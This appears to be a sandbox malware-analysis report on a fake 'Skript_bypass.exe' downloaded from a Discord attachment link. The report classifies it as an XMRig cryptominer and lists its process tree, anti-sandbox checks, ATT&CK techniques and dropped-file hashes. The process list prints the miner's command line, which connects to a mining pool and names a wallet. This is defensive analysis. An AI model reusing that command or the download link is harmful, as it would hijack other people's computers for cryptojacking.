Overview

overview

10

Static

static

URLScan

urlscan

1

https://cdn.discorda...

windows10-2004-x64

10

Analysis

  • max time kernel
    886s
  • max time network
    903s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 20:28

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    https://cdn.discordapp.com/attachments/1014859922669830164/1046043972184842260/Skript_bypass.exe

Score
10/10
xmrigminer

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 58 IoCs
    miner
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 13 IoCs
  • Checks SCSI registry key(s) 3 TTPs 42 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies registry class 54 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 13 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" https://cdn.discordapp.com/attachments/1014859922669830164/1046043972184842260/Skript_bypass.exe
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1072
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe36f74f50,0x7ffe36f74f60,0x7ffe36f74f70
      2⤵
        PID:2016
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1648 /prefetch:2
        2⤵
          PID:1764
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2008 /prefetch:8
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4732
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2228 /prefetch:8
          2⤵
            PID:4768
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2988 /prefetch:1
            2⤵
              PID:4404
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2980 /prefetch:1
              2⤵
                PID:672
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4488 /prefetch:8
                2⤵
                  PID:2920
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5012 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1968
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5396 /prefetch:8
                  2⤵
                    PID:5116
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5536 /prefetch:8
                    2⤵
                      PID:548
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4684 /prefetch:8
                      2⤵
                        PID:3688
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5736 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3772
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5668 /prefetch:8
                        2⤵
                          PID:3776
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5500 /prefetch:8
                          2⤵
                            PID:2892
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5396 /prefetch:8
                            2⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1316
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5836 /prefetch:8
                            2⤵
                              PID:688
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5812 /prefetch:8
                              2⤵
                                PID:4584
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2464 /prefetch:8
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:4764
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5456 /prefetch:8
                                2⤵
                                  PID:4068
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6056 /prefetch:1
                                  2⤵
                                    PID:424
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5912 /prefetch:8
                                    2⤵
                                      PID:2924
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4632 /prefetch:2
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4444
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1076 /prefetch:8
                                      2⤵
                                        PID:2164
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4976 /prefetch:8
                                        2⤵
                                          PID:2440
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5032 /prefetch:8
                                          2⤵
                                            PID:4472
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,17009148323385851801,15450137751432363772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5668 /prefetch:8
                                            2⤵
                                              PID:952
                                          • C:\Windows\System32\CompPkgSrv.exe
                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                            1⤵
                                              PID:2364
                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                              1⤵
                                              • Enumerates system info in registry
                                              • Modifies registry class
                                              • Suspicious use of SetWindowsHookEx
                                              PID:4428
                                            • C:\Windows\System32\rundll32.exe
                                              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                              1⤵
                                                PID:536
                                              • C:\Windows\system32\taskmgr.exe
                                                "C:\Windows\system32\taskmgr.exe" /0
                                                1⤵
                                                • Loads dropped DLL
                                                • Checks SCSI registry key(s)
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious behavior: GetForegroundWindowSpam
                                                • Suspicious use of AdjustPrivilegeToken
                                                • Suspicious use of FindShellTrayWindow
                                                • Suspicious use of SendNotifyMessage
                                                PID:1220
                                              • C:\Users\Admin\Downloads\Skript_bypass.exe
                                                "C:\Users\Admin\Downloads\Skript_bypass.exe"
                                                1⤵
                                                • Executes dropped EXE
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1920
                                              • C:\Users\Admin\Downloads\Skript_bypass.exe
                                                "C:\Users\Admin\Downloads\Skript_bypass.exe"
                                                1⤵
                                                • Executes dropped EXE
                                                • Suspicious use of SetThreadContext
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2180
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4988
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1380
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4648
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4312
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2416
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1920
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2312
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                  2⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:548
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                  2⤵
                                                    PID:3960
                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                    2⤵
                                                      PID:4628
                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                      2⤵
                                                        PID:1728
                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                        2⤵
                                                          PID:4464
                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x45c256155B89e2B970D7ECb42135cc537079790b.Worker_CPU -p x --cpu-max-threads-hint=50
                                                          2⤵
                                                            PID:4512
                                                        • C:\Users\Admin\AppData\Roaming\Skript_bypass.exe
                                                          C:\Users\Admin\AppData\Roaming\Skript_bypass.exe
                                                          1⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1804
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          • Checks processor information in registry
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:724
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          • Checks processor information in registry
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4892
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4344
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4228
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4952
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3012
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3688
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4240
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          • Checks processor information in registry
                                                          PID:2176
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          PID:2832
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          PID:4300
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          PID:2072
                                                        • C:\Windows\system32\taskmgr.exe
                                                          "C:\Windows\system32\taskmgr.exe" /0
                                                          1⤵
                                                          • Checks SCSI registry key(s)
                                                          PID:2244

                                                        Network

                                                        MITRE ATT&CK Matrix ATT&CK v6

                                                        Initial Access

                                                        Execution

                                                        Persistence

                                                        Privilege Escalation

                                                        Defense Evasion

                                                        Credential Access

                                                        Discovery

                                                        Query Registry

                                                        3
                                                        T1012

                                                        Peripheral Device Discovery

                                                        1
                                                        T1120

                                                        System Information Discovery

                                                        3
                                                        T1082

                                                        Lateral Movement

                                                        Collection

                                                        Exfiltration

                                                        Command and Control

                                                        Web Service

                                                        1
                                                        T1102

                                                        Impact

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                                          Filesize

                                                          64KB

                                                          MD5

                                                          d2fb266b97caff2086bf0fa74eddb6b2

                                                          SHA1

                                                          2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                                                          SHA256

                                                          b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                                                          SHA512

                                                          c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

                                                          599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                          Download Submit
                                                        • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                          Filesize

                                                          4B

                                                          MD5

                                                          f49655f856acb8884cc0ace29216f511

                                                          SHA1

                                                          cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                          SHA256

                                                          7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                          SHA512

